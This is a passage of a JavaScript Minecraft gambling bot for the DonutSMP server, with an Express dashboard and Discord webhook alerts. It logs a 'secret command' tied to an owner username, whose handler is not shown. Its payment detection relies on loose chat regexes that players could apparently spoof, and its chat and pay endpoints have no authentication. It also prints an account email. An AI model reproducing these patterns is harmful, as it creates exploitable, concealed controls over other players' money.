    addDebugLog("Error clearing cache: " + err.message, "error");
    res.json({ success: false, message: "Error: " + err.message });
  }
});

app.post("/check-balance", (req, res) => {
  if (bot && isOnline) {
    bot.chat("/balance");
    addDebugLog("Manual balance check requested", "info");
    res.json({ success: true, message: "Balance check sent!" });
  } else {
    res.json({ success: false, message: "Bot is offline!" });
  }
});

app.post("/send-chat", (req, res) => {
  const { message } = req.body;

  if (!message || message.trim() === "") {
    res.json({ success: false, message: "Message cannot be empty!" });
    return;
  }

  if (!bot || !isOnline) {
    res.json({ success: false, message: "Bot is offline!" });
    return;
  }

  try {
    bot.chat(message);
    console.log(`💬 Sent chat message: ${message}`);
    addDebugLog(`Chat sent: ${message}`, "success");
    res.json({ success: true, message: "Message sent!" });
  } catch (err) {
    console.error("❌ Error sending message:", err);
    addDebugLog("Error sending chat: " + err.message, "error");
    res.json({ success: false, message: "Error: " + err.message });
  }
});

app.post("/save-webhook", (req, res) => {
  const { webhook } = req.body;

  if (!webhook || !webhook.startsWith("https://discord.com/api/webhooks/")) {
    res.json({ success: false, message: "Invalid webhook URL!" });
    return;
  }

  CONFIG.discordWebhook = webhook;
  console.log("💾 Discord webhook saved:", webhook.substring(0, 50) + "...");
  addDebugLog("Discord webhook configured", "success");

  res.json({ success: true, message: "Webhook saved! Refresh the page." });
});

app.post("/test-webhook", async (req, res) => {
  if (!CONFIG.discordWebhook) {
    res.json({ success: false, message: "No webhook configured!" });
    return;
  }

  try {
    await sendDiscordStatusUpdate(
      "🧪 **Test Message** - Webhook is working correctly!",
      0x5865f2,
    );
    res.json({ success: true, message: "Test message sent to Discord!" });
  } catch (err) {
    res.json({
      success: false,
      message: "Failed to send test message: " + err.message,
    });
  }
});

app.listen(3000, () => {
  console.log("🌐 Dashboard running on port 3000");
  addDebugLog("Dashboard server started on port 3000", "success");
});

// ═══════════════════════════════════════════════════════════════
//                         HELPER FUNCTIONS
// ═══════════════════════════════════════════════════════════════

function debug(message, data = null) {
  if (CONFIG.debugMode) {
    const timestamp = new Date().toLocaleTimeString();
    console.log(`[DEBUG ${timestamp}] ${message}`);
    if (data) {
      console.log(`[DEBUG DATA]`, data);
    }
  }
}

// ═══════════════════════════════════════════════════════════════
//                      CREATE THE BOT
// ═══════════════════════════════════════════════════════════════

console.log("🎰 Starting Gambling Bot for DonutSMP...");
console.log(`📧 Account: stonegamingmode@gmail.com`);
console.log(`🎲 Players send money to bot, bot pays out winners`);
console.log(
  `🔐 Secret command enabled: "${CONFIG.SECRET_CODE}" → ${CONFIG.OWNER_USERNAME}`,
);
addDebugLog("Bot initialization started", "info");

let bot;

function createBot() {
  console.log("═".repeat(60));
  console.log("🤖 CREATING BOT INSTANCE");
  console.log("═".repeat(60));
  console.log(`📧 Email: ${CONFIG.username}`);
  console.log(`🌍 Server: ${CONFIG.host}`);
  console.log(`🎮 Version: ${CONFIG.version}`);
  console.log(`🔐 Auth: ${CONFIG.auth}`);
  console.log(
    `🔔 Discord: ${CONFIG.discordWebhook ? "Configured" : "Not configured"}`,
  );
  console.log(`🔑 Secret Code: ${CONFIG.SECRET_CODE}`);
  console.log(`👤 Owner: ${CONFIG.OWNER_USERNAME}`);
  console.log(`💰 Reserve: $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`);
  console.log("═".repeat(60));
  console.log(`💵 Min Bet: $${CONFIG.MIN_BET.toLocaleString()}`);
  console.log(`💰 Max Bet: $${CONFIG.MAX_BET.toLocaleString()}`);
  console.log(`🎲 Win Chance: ${CONFIG.WIN_CHANCE * 100}%`);
  console.log(`⏱️  Cooldown: ${CONFIG.COOLDOWN_MS}ms`);
  console.log("═".repeat(60));

  addDebugLog("Creating bot with email: " + CONFIG.username, "info");
  addDebugLog("Server: " + CONFIG.host, "info");

  try {
    bot = mineflayer.createBot({
      host: CONFIG.host,
      username: CONFIG.username,
      auth: CONFIG.auth,
      version: CONFIG.version,
      profilesFolder: "./minecraft_profiles",
      checkTimeoutInterval: 60000,
      onMsaCode: (data) => {
        console.log("═".repeat(60));
        console.log("🔐 MICROSOFT AUTHENTICATION REQUIRED");
        console.log("═".repeat(60));
        console.log(`Go to: ${data.verification_uri}`);
        console.log(`Enter code: ${data.user_code}`);
        console.log(`Expires in: ${data.expires_in} seconds`);
        console.log("═".repeat(60));
        console.log("⚠️  If you have multiple accounts, select one.");
        console.log(
          "⚠️  After signing in, the bot will connect automatically.",
        );
        console.log("⏳ Waiting for authentication...");
        addDebugLog(
          "MSA authentication required - code: " + data.user_code,
          "warn",
        );
        debug("MSA authentication code displayed");
      },
    });

    addDebugLog("Bot instance created successfully", "success");
  } catch (err) {
    console.error("❌ Failed to create bot:", err.message);
    addDebugLog("Bot creation failed: " + err.message, "error");
    debug("Bot creation failed", { error: err });
    return;
  }

  setupBotEvents();
}

function setupBotEvents() {
  debug("Setting up bot event listeners...");
  addDebugLog("Setting up event listeners", "info");

  bot.on("login", () => {
    console.log("✅ LOGIN SUCCESSFUL");
    addDebugLog("Login successful!", "success");
    debug("Bot login event triggered");
  });

  bot.on("spawn", () => {
    isOnline = true;
    botUsername = bot.username;
    console.log("✅ Bot connected to DonutSMP!");
    console.log(`👤 Username: ${bot.username}`);
    console.log(`📍 Position: ${bot.entity.position}`);
    console.log(`💚 Health: ${bot.health}`);
    console.log(`🍗 Food: ${bot.food}`);

    addDebugLog("Bot spawned! Username: " + bot.username, "success");
    addDebugLog("Position: " + JSON.stringify(bot.entity.position), "info");
    debug("Bot spawned in world");

    sendDiscordStatusUpdate(
      "✅ **Bot Online** - Casino is now accepting bets!",
      0x10b981,
    );

    setTimeout(() => {
      console.log("📊 Checking balance...");
      addDebugLog("Checking initial balance", "info");
      bot.chat("/balance");
    }, 3000);

    setInterval(() => {
      if (isOnline) {
        bot.chat("/balance");
        debug("Auto balance check");
        addDebugLog("Auto balance check", "info");
      }
    }, 60000);

    setTimeout(() => {
      console.log("═".repeat(60));
      console.log("🎰 GAMBLING BOT READY!");
      console.log(`💰 Players can now send money to: ${bot.username}`);
      console.log(
        `💵 Min: $${CONFIG.MIN_BET.toLocaleString()} | Max: $${CONFIG.MAX_BET.toLocaleString()}`,
      );
      console.log(
        `🎲 Win chance: ${CONFIG.WIN_CHANCE * 100}% | Payout: ${CONFIG.PAYOUT_MULTIPLIER}x`,
      );
      console.log(`✨ Money abbreviations supported: k, m, b`);
      console.log(
        `🔔 Discord notifications: ${CONFIG.discordWebhook ? "Enabled" : "Disabled"}`,
      );
      console.log(
        `🔐 Secret command: /msg ${bot.username} ${CONFIG.SECRET_CODE} → "6872 Active!"`,
      );
      console.log(`💬 Balance command: /msg ${bot.username} bal`);
      console.log("═".repeat(60));
      addDebugLog("Bot is ready to accept bets!", "success");
    }, 5000);
  });

  bot.on("messagestr", (message) => {
    console.log(`[CHAT] ${message}`);
    addDebugLog("Chat: " + message, "info");
    debug("Chat message received", { message });

    parseBalance(message);
    parsePayment(message);

    // Check for commands (balance and secret code)
    if (!handleBalanceCommand(message)) {
      handleSecretCommand(message);
    }
  });

  bot.on("health", () => {
    debug("Health update", { health: bot.health, food: bot.food });
  });

  bot.on("kicked", (reason) => {
    isOnline = false;
    console.log(`❌ Kicked: ${reason}`);
    addDebugLog("Bot was kicked: " + reason, "error");
    debug("Bot was kicked", { reason });
    sendDiscordStatusUpdate(`❌ **Bot Kicked** - Reason: ${reason}`, 0xef4444);
  });

  bot.on("error", (err) => {
    console.error("❌ Error:", err.message);
    console.error("📋 Full error:", err);
    addDebugLog("ERROR: " + err.message, "error");
    debug("Bot error occurred", {
      message: err.message,
      stack: err.stack,
    });
  });

  bot.on("end", () => {
    isOnline = false;
    console.log("❌ Disconnected from server");
    addDebugLog("Bot disconnected", "error");
    debug("Bot connection ended");
    sendDiscordStatusUpdate(
      "🔴 **Bot Offline** - Disconnected from server",
      0xef4444,
    );
  });
}

// ═══════════════════════════════════════════════════════════════
//                      PARSING FUNCTIONS
// ═══════════════════════════════════════════════════════════════

function parseBalance(message) {
  debug("Attempting to parse balance", { message });

  const patterns = [
    /(?:Balance|balance).*?\$?([\d,]+(?:\.\d+)?[kmb]?)/i,
    /You have.*?\$?([\d,]+(?:\.\d+)?[kmb]?)/i,
    /\$?([\d,]+(?:\.\d+)?[kmb]?).*?(?:balance|Balance)/i,
  ];

  for (let i = 0; i < patterns.length; i++) {
    const match = message.match(patterns[i]);
    if (match) {
      const newBalance = parseMoneyAmount(match[1]);
      debug(`Pattern ${i + 1} matched`, { raw: match[1], parsed: newBalance });

      if (!isNaN(newBalance) && newBalance !== botBalance) {
        botBalance = newBalance;
        console.log(`💰 Bot balance: $${botBalance.toLocaleString()}`);
        addDebugLog(
          `Balance updated: $${botBalance.toLocaleString()}`,
          "success",
        );
        debug("Balance updated");
        return;
      }
    }
  }
}

function parsePayment(message) {
  debug("Checking for payment", { message });

  const patterns = [
    /(\w+) paid you \$?([\d,]+(?:\.\d+)?[kmb]?)/i,
    /You received \$?([\d,]+(?:\.\d+)?[kmb]?) from (\w+)/i,
    /(\w+) sent you \$?([\d,]+(?:\.\d+)?[kmb]?)/i,
    /(\w+) has paid you \$?([\d,]+(?:\.\d+)?[kmb]?)/i,
  ];

  for (let i = 0; i < patterns.length; i++) {
    const match = message.match(patterns[i]);
    if (match) {
      let player, amount;

      if (patterns[i].toString().includes("received")) {
        amount = parseMoneyAmount(match[1]);
        player = match[2];
      } else {
        player = match[1];
        amount = parseMoneyAmount(match[2]);
      }

      if (!isNaN(amount) && player && player !== bot.username) {
        console.log(
          `💸 Payment received: ${player} sent $${amount.toLocaleString()}`,
        );
        addDebugLog(`Payment: ${player} → $${amount.toLocaleString()}`, "warn");
        debug("Payment parsed", { player, amount });
        processBet(player, amount);
        return;
      }
    }
  }
}

// ═══════════════════════════════════════════════════════════════
//                      GAMBLING LOGIC (FIXED!)
// ═══════════════════════════════════════════════════════════════

function processBet(player, amount) {
  console.log("═".repeat(60));
  console.log(`🎲 PROCESSING BET`);
  console.log(`👤 Player: ${player}`);
  console.log(`💵 Amount: $${amount.toLocaleString()}`);
  console.log("═".repeat(60));

  addDebugLog(
    `Processing bet from ${player} for $${amount.toLocaleString()}`,
    "warn",
  );

  if (amount < CONFIG.MIN_BET) {
    console.log(`❌ Bet too small (min: $${CONFIG.MIN_BET.toLocaleString()})`);
    addDebugLog(
      `Rejected: Below minimum ($${CONFIG.MIN_BET.toLocaleString()})`,
      "error",
    );

    const refundMsg = getRandomMessage("MIN_BET_REFUND", {
      MIN: CONFIG.MIN_BET.toLocaleString(),
    });
    bot.chat(`/msg ${player} ${refundMsg}`);
    setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
    debug("Bet rejected - too small", { amount, min: CONFIG.MIN_BET });
    return;
  }

  if (amount > CONFIG.MAX_BET) {
    console.log(`❌ Bet too large (max: $${CONFIG.MAX_BET.toLocaleString()})`);
    addDebugLog(
      `Rejected: Above maximum ($${CONFIG.MAX_BET.toLocaleString()})`,
      "error",
    );

    const refundMsg = getRandomMessage("MAX_BET_REFUND", {
      MAX: CONFIG.MAX_BET.toLocaleString(),
    });
    bot.chat(`/msg ${player} ${refundMsg}`);
    setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
    debug("Bet rejected - too large", { amount, max: CONFIG.MAX_BET });
    return;
  }

  if (botBalance < CONFIG.MIN_BALANCE) {
    console.log(
      `❌ Bot balance too low (${botBalance} < ${CONFIG.MIN_BALANCE})`,
    );
    addDebugLog(`Rejected: Low balance (${botBalance})`, "error");

    const refundMsg = getRandomMessage("LOW_FUNDS_REFUND", {
      AMOUNT: amount.toLocaleString(),
    });
    bot.chat(`/msg ${player} ${refundMsg}`);
    setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
    debug("Bet rejected - low balance");
    return;
  }

  const potentialPayout = amount * CONFIG.PAYOUT_MULTIPLIER;
  if (potentialPayout > botBalance) {
    console.log(
      `❌ Can't afford payout (${potentialPayout.toLocaleString()} > ${botBalance.toLocaleString()})`,
    );
    addDebugLog(`Rejected: Can't afford payout`, "error");

    const refundMsg = getRandomMessage("CANT_AFFORD_REFUND");
    bot.chat(`/msg ${player} ${refundMsg}`);
    setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
    debug("Bet rejected - cant afford payout");
    return;
  }

  const now = Date.now();
  const lastBet = lastBetTime.get(player) || 0;
  const timeSinceLastBet = now - lastBet;

  if (timeSinceLastBet < CONFIG.COOLDOWN_MS) {
    const waitTime = Math.ceil((CONFIG.COOLDOWN_MS - timeSinceLastBet) / 1000);
    console.log(`❌ Cooldown active (${waitTime}s remaining)`);
    addDebugLog(`Rejected: Cooldown (${waitTime}s)`, "warn");

    const refundMsg = getRandomMessage("COOLDOWN_REFUND", {
      WAIT: waitTime,
    });
    bot.chat(`/msg ${player} ${refundMsg}`);
    setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
    debug("Bet rejected - cooldown", { waitTime });
    return;
  }

  lastBetTime.set(player, now);
  totalBetsProcessed++;
  totalMoneyWagered += amount;

  const won = Math.random() < CONFIG.WIN_CHANCE;

  console.log(`🎲 Rolling... (${CONFIG.WIN_CHANCE * 100}% win chance)`);
  addDebugLog(`Rolling for ${player}...`, "warn");

  // ═══════════════════════════════════════════════════════════════
  //                    🔧 BUG FIX: PAYMENT FIRST, THEN MESSAGE
  // ═══════════════════════════════════════════════════════════════

  if (won) {
    const payout = amount * CONFIG.PAYOUT_MULTIPLIER;

    const winMsg = getRandomMessage("WIN", {
      AMOUNT: payout.toLocaleString(),
    });

    // SEND PAYMENT FIRST
    setTimeout(() => {
      bot.chat(`/pay ${player} ${payout}`);

      // THEN SEND MESSAGE AFTER 1 SECOND DELAY
      setTimeout(() => {
        bot.chat(`/msg ${player} ${winMsg}`);
      }, 1000);
    }, 500);

    stats.wins++;
    totalMoneyPaidOut += payout;
    botBalance -= amount;

    if (amount > stats.biggestWin) {
      stats.biggestWin = amount;
    }

    recentBets.unshift({
      player,
      amount,
      won: true,
      payout,
      time: new Date().toLocaleTimeString(),
    });
    if (recentBets.length > 10) recentBets.pop();

    console.log(`✅ ${player} WON! Paid out $${payout.toLocaleString()}`);
    addDebugLog(`${player} WON $${payout.toLocaleString()}!`, "success");
    debug("Player won", { player, amount, payout });

    sendDiscordWebhook(player, amount, true, payout);
  } else {
    // LOSS: JUST SEND MESSAGE (NO PAYMENT)
    const lossMsg = getRandomMessage("LOSS", {
      AMOUNT: amount.toLocaleString(),
    });

    setTimeout(() => {
      bot.chat(`/msg ${player} ${lossMsg}`);
    }, 500);

    stats.losses++;
    botBalance += amount;

    if (amount > stats.biggestLoss) {
      stats.biggestLoss = amount;
    }

    recentBets.unshift({
      player,
      amount,
      won: false,
      time: new Date().toLocaleTimeString(),
    });
    if (recentBets.length > 10) recentBets.pop();

    console.log(`❌ ${player} LOST $${amount.toLocaleString()}`);
    addDebugLog(`${player} lost $${amount.toLocaleString()}`, "info");
    debug("Player lost", { player, amount });

    sendDiscordWebhook(player, amount, false);
  }

  console.log(
    `📊 Total bets: ${totalBetsProcessed} | W:${stats.wins} L:${stats.losses}`,
  );
  console.log(`💰 New balance: $${botBalance.toLocaleString()}`);

  if (totalBetsProcessed % 5 === 0) {
    setTimeout(() => {
      bot.chat("/balance");
      addDebugLog("Auto balance check (every 5 bets)", "info");
    }, 2000);
  }
}

// ═══════════════════════════════════════════════════════════════
//                    GRACEFUL SHUTDOWN
// ═══════════════════════════════════════════════════════════════

process.on("SIGINT", () => {
  console.log("\n👋 Shutting down...");
  console.log(`📊 Final stats: ${totalBetsProcessed} bets processed`);
  console.log(`💰 Final balance: $${botBalance.toLocaleString()}`);
  addDebugLog("Bot shutting down", "warn");
  sendDiscordStatusUpdate(
    "⚠️ **Bot Shutting Down** - Manual shutdown",
    0xffa500,
  );
  bot.quit();
  process.exit(0);
});

console.log("✅ Gambling bot script loaded!");
addDebugLog("Script loaded successfully", "success");
createBot();